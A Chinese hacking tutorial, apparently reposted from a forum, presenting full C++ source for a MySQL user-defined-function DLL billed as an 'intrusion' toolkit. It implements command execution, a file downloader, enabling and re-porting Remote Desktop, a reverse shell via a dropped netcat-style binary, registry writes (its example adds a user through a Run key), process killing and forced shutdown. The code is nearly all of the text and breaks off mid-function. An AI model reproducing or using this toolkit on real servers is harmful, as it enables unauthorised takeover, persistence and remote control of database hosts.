黑客入侵之打造全功能MYSQL入侵UDF_中国IT运维网www.cnitom.com

my_udf.dll和Mix.dll相似，但它是通过my_udfdoor函数在服务器上侦听3306端口，用nc正向连接获得shell，但它的功能显的少了点，于是我决定自己写一个功能强大，运行稳定的UDF。

MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT 
*initid, UDF_ARGS *args, char *message)
{
//在open3389函数之前调用，一般用于初始化工作，为可选函数；
//return 1出错 ,0 正常
   return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{
//真正实现功能的函数，必需函数；
/*
函数内容;
return 结果;
*/
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
//在open3389函数之后调用，一般用于内存释放，可选函数；
}
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以上的open3389函数的返回值是char *类型的，如果是其它类型函数的参数列表也会有所不同，具体的可见MYSQL参考手册。

在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种变态输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。

以下是我写的UDF内容，它包含10个函数：

cmdshell 执行cmd；
downloader 下载者,到网上下载指定文件并保存到指定目录；
open3389 通用开3389终端服务，可指定端口(不改端口无需重启)；
backshell 反弹Shell；
ProcessView 枚举系统进程；
KillProcess 终止指定进程；
regread 读注册表；
regwrite 写注册表；
shut 关机，注销，重启；
about 说明与帮助函数；

使用方法:
创建函数：create function 函数名(区分大小写) returns string soname 'dll名' (注意路径)；
删除函数：delete function 函数名；
使用函数：select 函数名(参数列表)；获取参数信息可使用select 函数名("help")；

以上几个函数都经过多次的测试（测试平台：MYSQL 5.0.24-community-nt、Windows XP），不太可能会造成MYSQL假死等现象，但也不排除在特殊环境，特殊输入的情况下出错的可能。

CODE:
//-----------------------------------------------------------------------源程序
// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include "stdio.h"
#include 
#include 
#include 
#include 
#include 
#include "mysql.h"
#include "resource.h"

#pragma comment(lib, "Urlmon.lib")
HANDLE g_module;
//-----------------------------------------------------------------------
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
  if(ul_reason_for_call==DLL_PROCESS_ATTACH)
       g_module=hModule;
  return TRUE;
}
//-----------------------------------------------------------------------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, 
char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{

   if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args
[0],"help")==0)
   {
       initid->ptr=(char *)malloc(200);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参
数中的\"\\\"要用\"\\\\\"代替.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   int RunStatus=0;
   char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];
   DWORD size=0,len;
   HANDLE hFile;
   
   GetSystemDirectory(ShellPath,MAX_PATH-1);
   strcat(ShellPath,"\\cmd.exe");
   GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);
   strcat(TempFilePath,"\\2351213.tmp");

   cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);
   strcpy(cmdline," /c ");
   strcat(cmdline,(args->args)[0]);
   strcat(cmdline,">");
   strcat(cmdline,TempFilePath);

   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   ZeroMemory( &si, sizeof(si) );
   si.wShowWindow=SW_HIDE;
   si.cb = sizeof(si);
   ZeroMemory( &pi, sizeof(pi) );
   RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);
   free(cmdline);

   if(!RunStatus)
   {
       itoa(GetLastError(),temp,10);
       sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);
       initid->ptr=(char *)malloc(strlen(temp)+1);
       strcpy(initid->ptr,temp);
       (*length)=strlen(initid->ptr);
       return initid->ptr;
   }

   WaitForSingleObject(pi.hProcess,30000);

   //获得结果
   hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,NULL);
   if(hFile!=INVALID_HANDLE_VALUE)
   {
       size=GetFileSize(hFile,NULL);
       initid->ptr=(char *)malloc(size+100);
       ReadFile(hFile,initid->ptr,size+1,&len,NULL);
       (initid->ptr)[size]='\0';
       strcat(initid->ptr,"\r\n---------------------------------完成!\r\n");

       CloseHandle(hFile);
       DeleteFile(TempFilePath);
   }
   else
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"\r\n---------------------------------完成!\r\n");
   }
   (*length)=strlen(initid->ptr);
   return initid->ptr;

}
extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)
{
   if(initid->ptr!=NULL)
       free(initid->ptr);
}
//-----------------------------------------------------------------------downloader
extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args,
 char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!
=STRING_RESULT || stricmp(args->args[0],"help")==0)
   {
       initid->ptr=(char *)malloc(200);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"[url]
http://www.baidu.com/server.exe[/url]\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中
的\"\\\"要用\"\\\\\"代替.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   HANDLE hFile;
   char path[MAX_PATH];


   strcpy(path,(args->args)[1]);
   
   hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL);
   if(hFile==INVALID_HANDLE_VALUE)
   {
       initid->ptr=(char *)malloc(100+strlen(path));
       sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   CloseHandle(hFile);
   DeleteFile(path);
   
   if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)
   {
       initid->ptr=(char *)malloc(50+strlen(path));
       sprintf(initid->ptr,"下载文件成功(%s).",path);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   else
   {
       initid->ptr=(char *)malloc(100+strlen((args->args)[0]));
       sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

}
extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)
{
   if(initid->ptr)
       free(initid->ptr);
}
//-----------------------------------------------------------------------open3389
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, 
char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{
   if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))
   {
       initid->ptr=(char *)malloc(200);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n例:select open3389
([端口]);");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   HRSRC hrsrc1;
   HGLOBAL hglobal1;
   HANDLE hFile;
   char path[MAX_PATH];
   DWORD size,size2;

   GetEnvironmentVariable("temp",path,MAX_PATH-1);
   strcat(path,"\\457391.exe");

   hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");
   if(hrsrc1==NULL)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   size=SizeofResource((HMODULE)g_module, hrsrc1);
   hglobal1=LoadResource((HMODULE)g_module, hrsrc1);
   if(hglobal1==NULL)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }


   hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);
   if(hFile==INVALID_HANDLE_VALUE)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);
   CloseHandle(hFile);
   GlobalFree(hglobal1);



   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   ZeroMemory( &si, sizeof(si) );
   si.wShowWindow=SW_HIDE;
   si.cb = sizeof(si);
   ZeroMemory( &pi, sizeof(pi) );
   bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,&pi);
   if(!RunStatus)
   {
       DeleteFile(path);
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   WaitForSingleObject(pi.hProcess,5000);
   DeleteFile(path);
   //改端口
   if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT)
   {
       HKEY key;
       DWORD dwDisposition;
       DWORD port=*((long long *) args->args[0]);

       RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal 
Server\\WinStations\\RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);
       if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))
       {
           RegCloseKey(key);
           RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal 
Server\\Wds\\rdpwd\\Tds\\tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDis
position);
           if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))
           {
               RegCloseKey(key);
               initid->ptr=(char *)malloc(100);
               sprintf(initid->ptr,"成功开启3389终端服务....\r\n成功修改终端服务端口为%d,
重启后生效,重启系统可利用WindowsExit函数.",port);
               *length=strlen(initid->ptr);
               return initid->ptr;
           }
       }
       RegCloseKey(key);
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"成功开启3389终端服务....\r\n修改终端服务端口失败.");
       *length=strlen(initid->ptr);
       return initid->ptr;
       
   }
   else
   {
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"成功开启3389终端服务.\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
   if(initid->ptr)
       free(initid->ptr);
}
//-----------------------------------------------------------------------regread
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args, 
char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *regread(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!
=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
   {
       initid->ptr=(char *)malloc(250);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"读注册表函数.\r\n例:select regread
(\"HKEY_LOCAL_MACHINE\",\"SYSTEM\\\\ControlSet001
\\\\Services\\\\W3SVC\\\\Parameters\\\\Virtual Roots\",\"/\");\r\n参数中的\"\\\"要用
\"\\\\\"代替.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   DWORD a,b,c;
   BYTE bytere[1000];
   HKEY key,key2;
   if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)
       key=HKEY_LOCAL_MACHINE;
   else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)
       key=HKEY_CLASSES_ROOT ;
   else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)
       key=HKEY_CURRENT_USER ;
   else if(strcmp("HKEY_USERS ",(args->args)[0])==0)
       key=HKEY_USERS ;
   else
   {
       initid->ptr=(char *)malloc(50+strlen((args->args)[0]));
       sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
    

   RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b);
   if(b==REG_OPENED_EXISTING_KEY)
   {
       if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c))
       {
           CloseHandle(key2);
           initid->ptr=(char *)malloc(1001);
           memset(initid->ptr,0,1001);
           strcpy(initid->ptr,(char *)bytere);
           *length=strlen(initid->ptr);
           return initid->ptr;
       }
       else
       {
           CloseHandle(key2);
           initid->ptr=(char *)malloc(100);
           strcpy(initid->ptr,"找不注册表值\r\n");
           *length=strlen(initid->ptr);
           return initid->ptr;
       }
   }
   else
   {
       CloseHandle(key2);
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"找不注册表项\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

}
extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid)
{
   if(initid->ptr)
       free(initid->ptr);
}
//-----------------------------------------------------------------------regwrite
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid, UDF_ARGS *args, 
char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *regwrite(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=5 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!
=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || args->arg_type[3]!=STRING_RESULT || 
args->arg_type[4]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
   {
       initid->ptr=(char *)malloc(300);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"写注册表函数.\r\n例:select regwrite
(\"HKEY_LOCAL_MACHINE\",\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"ad
duser\",\"REG_SZ\",\"cmd.exe /c net user langouster langouster /add\");\r\n参数中的
\"\\\"要用\"\\\\\"代替.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }


   HKEY key,hkey;
   DWORD dwDisposition,ktype;

   if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)
       hkey=HKEY_LOCAL_MACHINE;
   else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)
       hkey=HKEY_CLASSES_ROOT ;
   else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)
       hkey=HKEY_CURRENT_USER ;
   else if(strcmp("HKEY_USERS ",(args->args)[0])==0)
       hkey=HKEY_USERS ;
   else
   {
       initid->ptr=(char *)malloc(50+strlen((args->args)[0]));
       sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   if(strcmp("REG_BINARY",(args->args)[3])==0)
       ktype=REG_BINARY;
   else if(strcmp("REG_DWORD",(args->args)[3])==0)
       ktype=REG_DWORD ;
   else if(strcmp("REG_DWORD_LITTLE_ENDIAN",(args->args)[3])==0)
       ktype=REG_DWORD_LITTLE_ENDIAN ;
   else if(strcmp("REG_DWORD_BIG_ENDIAN",(args->args)[3])==0)
       ktype=REG_DWORD_BIG_ENDIAN ;
   else if(strcmp("REG_EXPAND_SZ",(args->args)[3])==0)
       ktype=REG_EXPAND_SZ ;
   else if(strcmp("REG_LINK",(args->args)[3])==0)
       ktype=REG_LINK ;
   else if(strcmp("REG_MULTI_SZ",(args->args)[3])==0)
       ktype=REG_MULTI_SZ ;
   else if(strcmp("REG_NONE",(args->args)[3])==0)
       ktype=REG_NONE ;
   else if(strcmp("REG_RESOURCE_LIST",(args->args)[3])==0)
       ktype=REG_RESOURCE_LIST ;
   else if(strcmp("REG_SZ",(args->args)[3])==0)
       ktype=REG_SZ ;
   else 
   {
       initid->ptr=(char *)malloc(50+strlen((args->args)[3]));
       sprintf(initid->ptr,"未知的注册表值类型:%s\r\n",(args->args)[3]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   RegCreateKeyEx(hkey,(args->args)
[1],0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);
   if(!RegSetValueEx(key,(args->args)[2],0,ktype,(BYTE *)(args->args)[4],lstrlen((args-
>args)[4])+1))
   {
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"写注册表成功\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   else
   {
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"写注册表失败，可能是您的权限不够\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   RegCloseKey(key);

}
extern "C" __declspec(dllexport)void regwrite_deinit(UDF_INIT *initid)
{
   if(initid->ptr)
       free(initid->ptr);
}
//-----------------------------------------------------------------------KillProcess
extern "C" __declspec(dllexport)my_bool KillProcess_init(UDF_INIT *initid, UDF_ARGS 
*args, char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *KillProcess(UDF_INIT *initid, UDF_ARGS *args,char 
*result, unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || (strcmp((args->args)
[0],"help")==0))
   {
       initid->ptr=(char *)malloc(200);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"结束进程函数.\r\n例:select KillProcess(\"进程名 或 进程ID(十进制)\");\r\n
程序目前还不能结束系统进程.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }


   HANDLE hSnapshot = NULL;
   DWORD processid=0;
   HANDLE hProcess;
   char ProcessName[MAX_PATH],tempchar[10];
   PROCESSENTRY32 pe;

   strcpy(ProcessName,(args->args)[0]);
   hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
   pe.dwSize = sizeof(PROCESSENTRY32);
   Process32First(hSnapshot,&pe);
   do
   {
       itoa(pe.th32ProcessID,tempchar,10);
       if(stricmp(pe.szExeFile,ProcessName)==0 || stricmp(tempchar,ProcessName)==0)
       {
           processid=pe.th32ProcessID;
           break;
       }
   }
   while(Process32Next(hSnapshot,&pe)==TRUE);
   CloseHandle(hSnapshot);

   if(processid==0)
   {
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"找不到进程%s,请确认进程是否存在!",(args->args)[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   hProcess=OpenProcess(PROCESS_TERMINATE,false,processid);
   if(TerminateProcess(hProcess,0))
   {
       CloseHandle(hProcess);
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"%s进程成功终止.",(args->args)[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   else
   {
       CloseHandle(hProcess);
       initid->ptr=(char *)malloc(100);
       sprintf(initid->ptr,"%s进程终止失败,您的权限可能不足.",(args->args)[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;

   }
}
extern "C" __declspec(dllexport)void KillProcess_deinit(UDF_INIT *initid)
{
   if(initid->ptr)
       free(initid->ptr);
}
//-----------------------------------------------------------------------ProcessView
extern "C" __declspec(dllexport)my_bool ProcessView_init(UDF_INIT *initid, UDF_ARGS 
*args, char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *ProcessView(UDF_INIT *initid, UDF_ARGS *args,char *result,
 unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=0)
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"枚举进程函数.\r\n例:select ProcessView();");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   HANDLE hSnapshot = NULL;
   DWORD processid=0;
   PROCESSENTRY32 pe;
   char tempchar[10];

   initid->ptr=(char *)malloc(2000);
   if(initid->ptr==NULL)return NULL;
   memset(initid->ptr,0,1000);

   hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
   pe.dwSize = sizeof(PROCESSENTRY32);
   Process32First(hSnapshot,&pe);
   do
   {
       strcat(initid->ptr,pe.szExeFile);
       strcat(initid->ptr,"\t");
       itoa(pe.th32ProcessID,tempchar,10);
       strcat(initid->ptr,tempchar);
       strcat(initid->ptr,"\r\n");
   }
   while(Process32Next(hSnapshot,&pe)==TRUE);
   CloseHandle(hSnapshot);
   *length=strlen(initid->ptr);
   return initid->ptr;

}
extern "C" __declspec(dllexport)void ProcessView_deinit(UDF_INIT *initid)
{
   if(initid->ptr!=NULL)
       free(initid->ptr);
}
//-----------------------------------------------------------------------WindowsExit
extern "C" __declspec(dllexport)my_bool shut_init(UDF_INIT *initid, UDF_ARGS *args, char 
*message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *shut(UDF_INIT *initid, UDF_ARGS *args,char *result,
 unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args
[0],"help")==0)
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"关机重启注销函数.\r\n例:select shut(\"logoff|shutdown|reboot\");");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   HANDLE hToken;
   TOKEN_PRIVILEGES token;
   UINT Flag;
   if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken))
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"获得进程访问信令出错,您的权限可能不足.\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   token.PrivilegeCount = 1;
   LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &token.Privileges[0].Luid);
   token.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
   if(!AdjustTokenPrivileges(hToken,0,&token, sizeof(token),0,0))
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"获得关机令牌出错,您的权限可能不足.\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   if(stricmp(args->args[0],"logoff")==0)
       Flag=EWX_LOGOFF|EWX_FORCE;
   else if(stricmp(args->args[0],"shutdown")==0)
       Flag=EWX_SHUTDOWN|EWX_FORCE;
   else if(stricmp(args->args[0],"reboot")==0)
       Flag=EWX_REBOOT|EWX_FORCE;
   else
   {
       initid->ptr=(char *)malloc(100+strlen(args->args[0]));
       if(initid->ptr==NULL)return NULL;
       sprintf(initid->ptr,"未知的参数%s,期望为logoff、shutdown、reboot中的一
个.\r\n",args->args[0]);
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   if(ExitWindowsEx(Flag,0))
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       sprintf(initid->ptr,"成功执行.\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   else
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       sprintf(initid->ptr,"执行失败,您的权限可能不足.\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

}
extern "C" __declspec(dllexport)void shut_deinit(UDF_INIT *initid)
{
   if(initid->ptr!=NULL)
       free(initid->ptr);
}
//-----------------------------------------------------------------------BackShell
extern "C" __declspec(dllexport)my_bool backshell_init(UDF_INIT *initid, UDF_ARGS *args,
 char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *backshell(UDF_INIT *initid, UDF_ARGS *args,char *result,
 unsigned long *length,char *is_null, char *error)
{
   if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=INT_RESULT || 
stricmp(args->args[0],"help")==0)
   {
       initid->ptr=(char *)malloc(100);
       if(initid->ptr==NULL)return NULL;
       strcpy(initid->ptr,"反弹shell.\r\n例:select backshell(\"your IP\",your port);");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }

   HRSRC hrsrc1;
   HGLOBAL hglobal1;
   HANDLE hFile;
   char path[MAX_PATH],cmd[400];
   DWORD size,size2;

   GetEnvironmentVariable("temp",path,MAX_PATH-1);
   strcat(path,"\\95315964.tmp");


   hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN2), "BIN");
   if(hrsrc1==NULL)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"查找资源出错,backshell无法继续运行.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   size=SizeofResource((HMODULE)g_module, hrsrc1);
   hglobal1=LoadResource((HMODULE)g_module, hrsrc1);
   if(hglobal1==NULL)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"载入资源出错,backshell无法继续运行.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }


   hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);
   if(hFile==INVALID_HANDLE_VALUE)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"创建临时文件出错,backshell无法继续运行.");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);
   CloseHandle(hFile);
   GlobalFree(hglobal1);
   strcpy(cmd,path);
   GetSystemDirectory(path,MAX_PATH-1);
   strcat(path,"\\cmd.exe");
   sprintf(cmd,"%s -e %s %s %d",cmd,path,args->args[0],*((long long *) args->args[1]));
   if(WinExec(cmd,SW_HIDE)>31)
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"执行成功\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
   else
   {
       initid->ptr=(char *)malloc(100);
       strcpy(initid->ptr,"执行失败\r\n");
       *length=strlen(initid->ptr);
       return initid->ptr;
   }
}
extern "C" __declspec(dllexport)void backshell_deinit(UDF_INIT *initid)
{
   if(initid->ptr!=NULL)
       free(initid->ptr);
}
//-----------------------------------------------------------------------about
extern "C" __declspec(dllexport)my_bool about_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{//return 1出错 ,0 正常
   initid->max_length=65*1024*1024;
   return 0;
}
extern "C" __declspec(dllexport)char *about(UDF_INIT *initid, UDF_ARGS *args,char *result,
 unsigned long *length,char *is_null, char *error)
{
   initid->ptr=(char *)malloc(2000);
   if(initid->ptr==NULL)return NULL;
   memset(initid->ptr,0,2000);
   strcat(initid->ptr,"mysql 入侵必备dll   版本1.0.0.1\r\n\r\n");
   strcat(initid->ptr,"注意:要使用本dll你必须有对mysql的insert和delete权限以创建和删除函数。
\r\n\r\n");
   strcat(initid->ptr,"使用方法:\r\n");
   strcat(initid->ptr,"创建函数:create function 函数名(区分大小写) returns string soname \"dll名\" 
(注意路径);\r\n");
   strcat(initid->ptr,"删除函数:delete function 函数名;\r\n");
   strcat(initid->ptr,"使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名(\"help\");
\r\n");
   strcat(initid->ptr,"--------------------------------------------------------------------\r\n");
   strcat(initid->ptr,"本dll包含的函数:\r\n");
   strcat(initid->ptr,"cmdshell 执行cmd;\r\n");
   strcat(initid->ptr,"downloader 下载者,到网上下载指定文件并保存到指定目录;\r\n");
   strcat(initid->ptr,"open3389 通用开3389终端服务,可指定端口(不改端口无需重启);\r\n");
   strcat(initid->ptr,"backshell 反弹Shell;\r\n");
   strcat(initid->ptr,"ProcessView 枚举系统进程;\r\n");
   strcat(initid->ptr,"KillProcess 终止指定进程;\r\n");
   strcat(initid->ptr,"regread 读注册表;\r\n");
   strcat(initid->ptr,"regwrite 写注册表;\r\n");
   strcat(initid->ptr,"shut 关机,注销,重启;\r\n");
   strcat(initid->ptr,"about 本函数;\r\n");
   strcat(initid->ptr,"--------------------------------------------------------------------\r\n");
   strcat(initid->ptr,"DLL中的每个函数都经多次测试，不太可能会造成MYSQL假死等现象，但也不
排除在特殊环境、特殊输入下出错的可能性.\r\n");
   strcat(initid->ptr,"使用过程中发现的bug可和我联系QQ:185826531(langouster)\r\n");
   strcat(initid->ptr,"源程序公开,可以任意修改和添加功能,散布源程序请注明原作者.\r\n\r\n");
   strcat(initid->ptr,"特别声明:本程序只供技术研究之用,不正当使用程序造成的后果作者概不负
责!");
   *length=strlen(initid->ptr);
   return initid->ptr;

}
extern "C" __declspec(dllexport)void about_deinit(UDF_INIT *initid)
{
   if(initid->ptr!=NULL)
